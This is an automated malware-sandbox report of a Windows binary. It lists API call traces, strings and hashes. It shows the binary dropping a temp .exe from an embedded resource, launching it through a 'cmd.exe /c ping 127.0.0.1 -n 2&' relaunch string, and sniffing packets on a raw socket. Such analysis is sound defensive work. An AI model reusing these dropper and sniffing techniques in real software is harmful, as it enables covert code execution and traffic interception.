Part of subcall function 00401E2A: #324.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E41
Part of subcall function 00401E2A: #567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E4F
Part of subcall function 00401E2A: #567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E66
Part of subcall function 00401E2A: #1168.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E91
Part of subcall function 00401E2A: #1146.MFC42(00000080,0000000E,00000080,00000066,?,?,?,?,00401C92,00000000), ref: 00401E9F
Part of subcall function 00401E2A: LoadIconA.USER32(00000000,00000080), ref: 00401EA5

__p___argv.MSVCRT ref: 00401C9F
ExitProcess.KERNEL32 ref: 00401CBE

Part of subcall function 00401867: #823.MFC42(00100000), ref: 00401879
Part of subcall function 00401867: memset.MSVCRT ref: 00401888
Part of subcall function 00401867: __p___argv.MSVCRT ref: 00401897
Part of subcall function 00401867: __p___argv.MSVCRT ref: 004018B9
Part of subcall function 00401867: Sleep.KERNEL32(00000064), ref: 004018CE
Part of subcall function 00401867: GetTickCount.KERNEL32 ref: 00401906
Part of subcall function 00401867: GetTempPathA.KERNEL32(00000104,?), ref: 00401936
Part of subcall function 00401867: wsprintfA.USER32 ref: 00401953
Part of subcall function 00401867: CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00401973
Part of subcall function 00401867: #823.MFC42(?), ref: 0040197F

#2514.MFC42 ref: 00401CCA

Part of subcall function 00401CEC: _EH_prolog.MSVCRT ref: 00401CF1
Part of subcall function 00401CEC: #693.MFC42(?,?,00401CDE), ref: 00401D19
Part of subcall function 00401CEC: #609.MFC42(?,?,00401CDE), ref: 00401D25
Part of subcall function 00401CEC: #641.MFC42(?,?,00401CDE), ref: 00401D30

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: H_prolog__p___argv$#567#823$#1134#1146#1168#2514#324#609#641#693CountCreateExitFileIconLoadPathProcessSleepTempTickmemsetwsprintf
String ID:
API String ID: 4041608318-0
Opcode ID: 76151f68726041c84d7ab328924840f8fb70c527e4686e21e076778c71525204
Instruction ID: 6f737f08b995e68c62b9dff43b60cf904c1485ff509acee86472e34ce1649ac1
Opcode Fuzzy Hash: 76151f68726041c84d7ab328924840f8fb70c527e4686e21e076778c71525204
Instruction Fuzzy Hash: 17016D319511158BEB14FB65C90A7DCB7B4AF08328F0042BAA465B21E1EF789A45CA58

Function 00401A2A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00000084,IMAGE), ref: 00401A46
LoadResource.KERNEL32(00000000,00000000), ref: 00401A54
SizeofResource.KERNEL32(00000000,00000000), ref: 00401A69
LockResource.KERNEL32(00000000,00000000), ref: 00401A74
memcpy.MSVCRT(00000000,00000000), ref: 00401A7C
wsprintfA.USER32 ref: 00401B2B
CreateDirectoryA.KERNELBASE(?,00000000), ref: 00401B38
Sleep.KERNELBASE(00000064), ref: 00401B40
memset.MSVCRT ref: 00401B4D
wsprintfA.USER32 ref: 00401B74

Strings

IMAGE, xrefs: 00401A39

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: Resource$wsprintf$CreateDirectoryFindLoadLockSizeofSleepmemcpymemset
String ID: IMAGE
API String ID: 3931793037-845793007
Opcode ID: d3edc049732555914adbff52832aa4292bf647af716a8d02043898333d2fcd6f
Instruction ID: 4f975884327954dfad89ea398a43f93018ff4a6e72412e49f1d32c0e5fd34b6a
Opcode Fuzzy Hash: d3edc049732555914adbff52832aa4292bf647af716a8d02043898333d2fcd6f
Instruction Fuzzy Hash: 0AE04F673041646AE22026B96DC995B6A6CC2C57EAB110537FB43F219094748C0545B9

Function 00402B5A Relevance: 4.5, APIs: 3, Instructions: 29
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(?,?), ref: 00402B72
WSACleanup.WS2_32 ref: 00402B9D
WSAGetLastError.WS2_32 ref: 00402BA3

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: CleanupErrorLastStartup
String ID:
API String ID: 286295645-0
Opcode ID: b0ec8336bf00a6052941da9178b3fceddae8ddc46f726d68ca548fb70960ad9d
Instruction ID: 2be7791f72972009722b799a77b565cb98efc3fc237316151d06e583dd982ed8
Opcode Fuzzy Hash: b0ec8336bf00a6052941da9178b3fceddae8ddc46f726d68ca548fb70960ad9d
Instruction Fuzzy Hash: 1FF0EC715002186FDB206F35DE1CAD77BF89B0C355F005476E54AE3181D67468458758

Function 004016DF Relevance: 4.5, APIs: 3, Instructions: 12
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#561.MFC42(00000000), ref: 004016E4
__p___argv.MSVCRT ref: 004016EF
DeleteFileA.KERNELBASE(?), ref: 004016FA

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: #561DeleteFile__p___argv
String ID:
API String ID: 84669193-0
Opcode ID: 7c176645d386521af702be36d08a2a7746dee0815ea9a0421c38c726cf202088
Instruction ID: eae00a7dc5a7c054ffd0e57f273fac8e4c6ac782b343249d42dd52938cd82e5c
Opcode Fuzzy Hash: 7c176645d386521af702be36d08a2a7746dee0815ea9a0421c38c726cf202088
Instruction Fuzzy Hash: 98D0C9B42101219FC3502B95EE09A447BA0AF85741B0140BAF705B72A0DBB04C008B58

Function 004030AE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#1576.MFC42(?,?,?,V0@,00403056,00000000,?,0000000A), ref: 004030BE

Strings

V0@, xrefs: 004030AE

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: #1576
String ID: V0@
API String ID: 1976119259-1055587443
Opcode ID: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction ID: 091081438a8891efaa48dbd6cf97df1c67080aae43ea6bdf83243b43297a0175
Opcode Fuzzy Hash: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction Fuzzy Hash: 51B00836018396ABCB02DF91880192ABEA6BB98705F488C1DB2A1140A187768538EB16

Non-executed Functions

Function 0040229F Relevance: 36.9, APIs: 19, Strings: 2, Instructions: 165
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004022A4

Part of subcall function 004028B1: strncpy.MSVCRT ref: 0040290F
Part of subcall function 004028B1: inet_ntoa.WS2_32(?), ref: 00402920
Part of subcall function 004028B1: strncpy.MSVCRT ref: 00402927
Part of subcall function 004028B1: inet_ntoa.WS2_32(?), ref: 00402932
Part of subcall function 004028B1: strncpy.MSVCRT ref: 00402939
Part of subcall function 004028B1: sprintf.MSVCRT ref: 0040299E
Part of subcall function 004028B1: sprintf.MSVCRT ref: 004029A8

EnterCriticalSection.KERNEL32(?), ref: 00402305
#540.MFC42 ref: 0040230E
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00402323
#3998.MFC42(00000001,00000000,?,00000000,00000000,00000000,00000000), ref: 00402342
#6907.MFC42(?,00000001,?,00000001,00000000,?,00000000,00000000,00000000,00000000), ref: 00402352
#6907.MFC42(?,00000002,?,?,00000001,?,00000001,00000000,?,00000000,00000000,00000000,00000000), ref: 00402362
#2818.MFC42(?,%d/%d,?,?,?,00000002,?,?,00000001,?,00000001,00000000,?,00000000,00000000,00000000), ref: 00402376
#6907.MFC42(?,00000003,?,00000000), ref: 00402388
GetSystemTime.KERNEL32(?,?,00000003,?,00000000), ref: 00402391
#2818.MFC42(?,%2.2d-%2.2d %2.2d:%2.2d:%2.2d,?,?,?,?,?), ref: 004023B9
#6907.MFC42(?,?,?), ref: 004023CB
#6007.MFC42(?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 004023DD
#823.MFC42(00000008,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 004023E8
#823.MFC42(?,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 00402408
memcpy.MSVCRT(00000000,?,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 0040241B
#6007.MFC42(?,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?), ref: 00402432
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?), ref: 00402449
#800.MFC42 ref: 00402456

Strings

%d/%d, xrefs: 00402370
%2.2d-%2.2d %2.2d:%2.2d:%2.2d, xrefs: 004023B3

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: #6907$strncpy$#2818#6007#823CriticalSectioninet_ntoasprintf$#3998#540#800EnterH_prologLeaveMessageSendSystemTimememcpy
String ID: %2.2d-%2.2d %2.2d:%2.2d:%2.2d$%d/%d
API String ID: 53958731-669394826
Opcode ID: 1dcc0767c7c356694aae18455bea49362ef47f3eb0e9af8e309e7b155486fb36
Instruction ID: aa3e698a986a9efcd30e7cd5d6354eb5ceda86bede962053babdd167d9a98621
Opcode Fuzzy Hash: 1dcc0767c7c356694aae18455bea49362ef47f3eb0e9af8e309e7b155486fb36
Instruction Fuzzy Hash: 935148B2900209AEDF119FA5CD4AEEFBB7DFB48308F00442AF605B61D1D6B95D04CB64

Function 0040271C Relevance: 18.1, APIs: 12, Instructions: 109
networkthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000003,00000000), ref: 00402730
gethostname.WS2_32(?,00000100), ref: 0040274E
gethostbyname.WS2_32(?), ref: 00402764
htons.WS2_32(?), ref: 00402779
memcpy.MSVCRT(?,?,?), ref: 00402791
bind.WS2_32(?,00000002,00000010), ref: 004027A2
setsockopt.WS2_32(?,0000FFFF,?,?,?), ref: 004027C9
setsockopt.WS2_32(?,00000000,00000002,?,?), ref: 004027DB
WSAIoctl.WS2_32(?,98000001,?,?,?,00000028,?,00000000,00000000), ref: 00402804
WSAGetLastError.WS2_32 ref: 0040280F
CreateThread.KERNEL32(00000000,00000000,Function_000026B0,?,00000000,00000000), ref: 00402824
closesocket.WS2_32(?), ref: 00402838

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: setsockopt$CreateErrorIoctlLastThreadbindclosesocketgethostbynamegethostnamehtonsmemcpysocket
String ID:
API String ID: 4186165289-0
Opcode ID: ab5857ac9cbc0614391de9fc2817350c261bf381e728ef5c6a56ec0117ced1b9
Instruction ID: cc647fa9d97eb8ab40f50e3a18fc5453a93f7f03a17443a7d33be6df37dc61fd
Opcode Fuzzy Hash: ab5857ac9cbc0614391de9fc2817350c261bf381e728ef5c6a56ec0117ced1b9
Instruction Fuzzy Hash: DF3160B6500604AFD7209FA4DD49F9BBBB8EF84720F10862AF625E61E0D7B49944CB54

Function 00402138 Relevance: 13.6, APIs: 9, Instructions: 63windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00402144
#470.MFC42 ref: 00402154
SendMessageA.USER32(?,00000027,?,00000000), ref: 0040216B
GetSystemMetrics.USER32(0000000B), ref: 00402179
GetSystemMetrics.USER32(0000000C), ref: 0040217F
GetClientRect.USER32(?,?), ref: 0040218A
DrawIcon.USER32(?,?,?,?), ref: 004021B7
#755.MFC42 ref: 004021C0
#2379.MFC42 ref: 004021CB

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: MetricsSystem$#2379#470#755ClientDrawIconIconicMessageRectSend
String ID:
API String ID: 1397574227-0
Opcode ID: 1ec0889933b8568e71d179df5b286e334d8a5b22727fd9a6730dc2e2a4000510
Instruction ID: ef0e762d43f9ba135a21ed7adfdda79f425eb601d2121b69b903fd342b625570
Opcode Fuzzy Hash: 1ec0889933b8568e71d179df5b286e334d8a5b22727fd9a6730dc2e2a4000510
Instruction Fuzzy Hash: 95115472610219AFCB10ABB9DE4DEAE77B9FB84340F040139B646E70E0DAB4AD04CB54

Function 004028B1 Relevance: 54.5, APIs: 24, Strings: 7, Instructions: 226
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strncpy.MSVCRT ref: 0040290F
inet_ntoa.WS2_32(?), ref: 00402920
strncpy.MSVCRT ref: 00402927
inet_ntoa.WS2_32(?), ref: 00402932
strncpy.MSVCRT ref: 00402939
sprintf.MSVCRT ref: 0040299E
sprintf.MSVCRT ref: 004029A8
htons.WS2_32(FSRPAU), ref: 004029BF
htons.WS2_32(?), ref: 004029C8
htons.WS2_32(00000041), ref: 004029D2
sprintf.MSVCRT ref: 004029E7
sprintf.MSVCRT ref: 004029FA
sprintf.MSVCRT ref: 00402A09
strcpy.MSVCRT(00000000,flag:), ref: 00402A1C
htons.WS2_32(00000000), ref: 00402A2E
htons.WS2_32(?), ref: 00402A39
sprintf.MSVCRT ref: 00402A64
htonl.WS2_32(?), ref: 00402A74
sprintf.MSVCRT ref: 00402A92
sprintf.MSVCRT ref: 00402AA5
memcpy.MSVCRT(00000000,?,00000003), ref: 00402AC2
sprintf.MSVCRT ref: 00402AE1
sprintf.MSVCRT ref: 00402AEB
sprintf.MSVCRT ref: 00402AFF

Strings

%s:%d, xrefs: 004029F0, 004029F6, 00402A05, 00402A88, 00402A8E, 00402AA1
FSRPAU, xrefs: 00402A4D, 00402A52
flag:, xrefs: 00402A16
%s%c, xrefs: 00402A5E
Len=%d, xrefs: 004029E1
FSRPAU, xrefs: 00402973, 004029BE
type=%d,code=%d, xrefs: 00402AF9

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: sprintf$htons$strncpy$inet_ntoa$htonlmemcpystrcpy
String ID: %s%c$%s:%d$FSRPAU$FSRPAU$Len=%d$flag:$type=%d,code=%d
API String ID: 3753906667-237590085
Opcode ID: ba62efef13005b08d425294af8eda39d72da486267677ef8ad29d67723068545
Instruction ID: a53d3f022a17ab101e70b7c90ccdcaa7e2f0d08fd5b2c767e99d7cb1b96ba65e
Opcode Fuzzy Hash: ba62efef13005b08d425294af8eda39d72da486267677ef8ad29d67723068545
Instruction Fuzzy Hash: 0171D172900248AEDB11DFA8CC44EEF7BBCAF48300F044466FA44F7191D678EA54CBA8

Function 00401160 Relevance: 43.9, APIs: 22, Strings: 3, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00401165
#537.MFC42(00406598), ref: 0040117E
#537.MFC42(00406598,00406598), ref: 0040118B
#540.MFC42(00406598,00406598), ref: 00401197
#2818.MFC42(?,%6.6X,00000000,00406598,00406598), ref: 004011BE
#941.MFC42(00406044), ref: 004011D5
#939.MFC42(?), ref: 004011E1
#6199.MFC42(?,00406598,00406598), ref: 004011F0
#2614.MFC42(?,00406598,00406598), ref: 004011F8
#2818.MFC42(?,%2.2X ,?,?,00406598,00406598), ref: 00401247
#941.MFC42(00406038), ref: 0040125C
#939.MFC42(?), ref: 00401268
#2818.MFC42(?,00406034,?,?), ref: 0040128B
#2818.MFC42(?,00406030,?), ref: 0040129E
#939.MFC42(?,?), ref: 004012AC
#941.MFC42(00406044,?,00406598,00406598), ref: 004012D5
#941.MFC42(00406044,00406044,?,00406598,00406598), ref: 004012DE
#6199.MFC42(?,?,00406598,00406598), ref: 00401301
#6199.MFC42(?,?,?,00406598,00406598), ref: 0040130F
#800.MFC42(?,?,?,00406598,00406598), ref: 0040131B
#800.MFC42(?,?,?,00406598,00406598), ref: 00401327
#800.MFC42(?,?,?,00406598,00406598), ref: 00401333

Strings

D`@, xrefs: 004012CC
%6.6X, xrefs: 004011B8
%2.2X , xrefs: 00401241

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: #2818#941$#6199#800#939$#537$#2614#540H_prolog
String ID: %2.2X $%6.6X$D`@
API String ID: 3308870338-4221501666
Opcode ID: 20f37d9169c0ec6644e067ea3bad11262685dea0dac38ba345f792653d56fa1a
Instruction ID: b9ffc5d633f4d1405bf7982aaa5686ba721c81fb604f9ffe8360b73c1c5d8c85
Opcode Fuzzy Hash: 20f37d9169c0ec6644e067ea3bad11262685dea0dac38ba345f792653d56fa1a
Instruction Fuzzy Hash: 67516072C0011A9ADF05EBA5C986AEEB7B8AF65308F10407FE502B71D2D77C5E09C769

Function 00401867 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 151
sleepfileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#823.MFC42(00100000), ref: 00401879
memset.MSVCRT ref: 00401888
__p___argv.MSVCRT ref: 00401897

Part of subcall function 004017B2: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 004017ED

__p___argv.MSVCRT ref: 004018B9

Part of subcall function 004017B2: memset.MSVCRT ref: 00401814
Part of subcall function 004017B2: ReadFile.KERNEL32(?,?,00001000,?,00000000), ref: 0040182C
Part of subcall function 004017B2: memcpy.MSVCRT(?,?,?), ref: 00401847
Part of subcall function 004017B2: CloseHandle.KERNEL32(?), ref: 00401859

Sleep.KERNEL32(00000064), ref: 004018CE
GetTickCount.KERNEL32 ref: 00401906
GetTempPathA.KERNEL32(00000104,?), ref: 00401936
wsprintfA.USER32 ref: 00401953
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00401973
#823.MFC42(?), ref: 0040197F
Sleep.KERNEL32(00000064), ref: 0040198A
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004019A0
Sleep.KERNEL32(00000064), ref: 004019A4
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004019B4
CloseHandle.KERNEL32(?), ref: 004019B9
#825.MFC42(?), ref: 004019C2
#825.MFC42(?,?), ref: 004019CA
__p___argv.MSVCRT ref: 004019E7
wsprintfA.USER32 ref: 00401A04
WinExec.KERNEL32(?,00000000), ref: 00401A15
Sleep.KERNEL32(000001F4), ref: 00401A20
ExitProcess.KERNEL32 ref: 00401A24

Strings

cmd.exe /c ping 127.0.0.1 -n 2&%s "%s", xrefs: 004019FE
%s\%s.exe, xrefs: 0040194D

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: File$Sleep$__p___argv$#823#825CloseCreateHandleWritememsetwsprintf$CountExecExitPathProcessReadTempTickmemcpy
String ID: %s\%s.exe$cmd.exe /c ping 127.0.0.1 -n 2&%s "%s"
API String ID: 4283993690-2816570591
Opcode ID: a491cdb6d37c63822b2f5e0dabab34744de7fedee835b1f0fc382f0816b84e4c
Instruction ID: 647a47b4171ebbf043bbf0605c80f25e9859b4608e82af673633275921c822a3
Opcode Fuzzy Hash: a491cdb6d37c63822b2f5e0dabab34744de7fedee835b1f0fc382f0816b84e4c
Instruction Fuzzy Hash: EB515EB2900109BFEB11ABE4DD49EDEBB79EF88300F1004B6F704B61A1DB755A548F69

Function 00401F19 Relevance: 36.2, APIs: 24, Instructions: 151
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00401F1E
#4710.MFC42 ref: 00401F2B
GetSystemMenu.USER32(?,00000000), ref: 00401F36
#2863.MFC42(00000000), ref: 00401F3D
#540.MFC42(00000000), ref: 00401F4C
#4160.MFC42(00000065,00000000), ref: 00401F5B
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 00401F79
AppendMenuA.USER32(?,00000000,00000010,?), ref: 00401F85
#800.MFC42(00000065,00000000), ref: 00401F90
SendMessageA.USER32(?,00000080,00000001,?), ref: 00401FB1
SendMessageA.USER32(?,00000080,00000000,?), ref: 00401FBF
#823.MFC42(00000128), ref: 00401FC6
#2086.MFC42(00000082), ref: 00401FFE
#6215.MFC42(00000005,00000082), ref: 0040200F
SendMessageA.USER32(?,00001037,00000000,00000000), ref: 00402021
SendMessageA.USER32(?,00001036,00000000,00000000), ref: 00402033
SendMessageA.USER32(?,00001037,00000000,00000000), ref: 00402042
SendMessageA.USER32(?,00001036,00000000,00000000), ref: 00402050
#3996.MFC42(00000000,00406328,00000000,00000028,000000FF), ref: 00402065
#3996.MFC42(00000001,00406320,00000000,0000008C,000000FF,00000000,00406328,00000000,00000028,000000FF), ref: 0040207C
#3996.MFC42(00000002,00406318,00000000,0000008C,000000FF,00000001,00406320,00000000,0000008C,000000FF,00000000,00406328,00000000,00000028,000000FF), ref: 0040208E
#3996.MFC42(00000003,00406310,00000000,00000037,000000FF,00000002,00406318,00000000,0000008C,000000FF,00000001,00406320,00000000,0000008C,000000FF,00000000), ref: 004020A1
#3996.MFC42(?,00406308,00000000,00000064,000000FF,00000003,00406310,00000000,00000037,000000FF,00000002,00406318,00000000,0000008C,000000FF,00000001), ref: 004020B4
InitializeCriticalSection.KERNEL32(?,?,00406308,00000000,00000064,000000FF,00000003,00406310,00000000,00000037,000000FF,00000002,00406318,00000000,0000008C,000000FF), ref: 004020C0

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442670385.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ygqcn.jbxd

Similarity

API ID: MessageSend$#3996$Menu$Append$#2086#2863#4160#4710#540#6215#800#823CriticalH_prologInitializeSectionSystem
String ID:
API String ID: 2371848494-0
Opcode ID: bf1e5139828ca2f7575a42d4d539cb4ceebe527546bc2a5505485d4eded29568
Instruction ID: 22c113c14c16facbbd4b385fd64242b7c064b1ff54e6b864585585fb015a5088
Opcode Fuzzy Hash: bf1e5139828ca2f7575a42d4d539cb4ceebe527546bc2a5505485d4eded29568
Instruction Fuzzy Hash: 1B41E6B02407097BE6257B21CC86F6F769DFB84798F10063DF2A5761E1CBB96C008A68

Function 0040141D Relevance: 13.6, APIs: 9, Instructions: 75
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32(?), ref: 0040144F
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 0040145E
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 0040146D
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 0040148D
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00401499
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004014AB
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004014C7
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004014D3
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004014E5

Memory Dump Source

Source File: 00000005.00000002.1442605354.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1442481368.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442629664.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1442653028.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
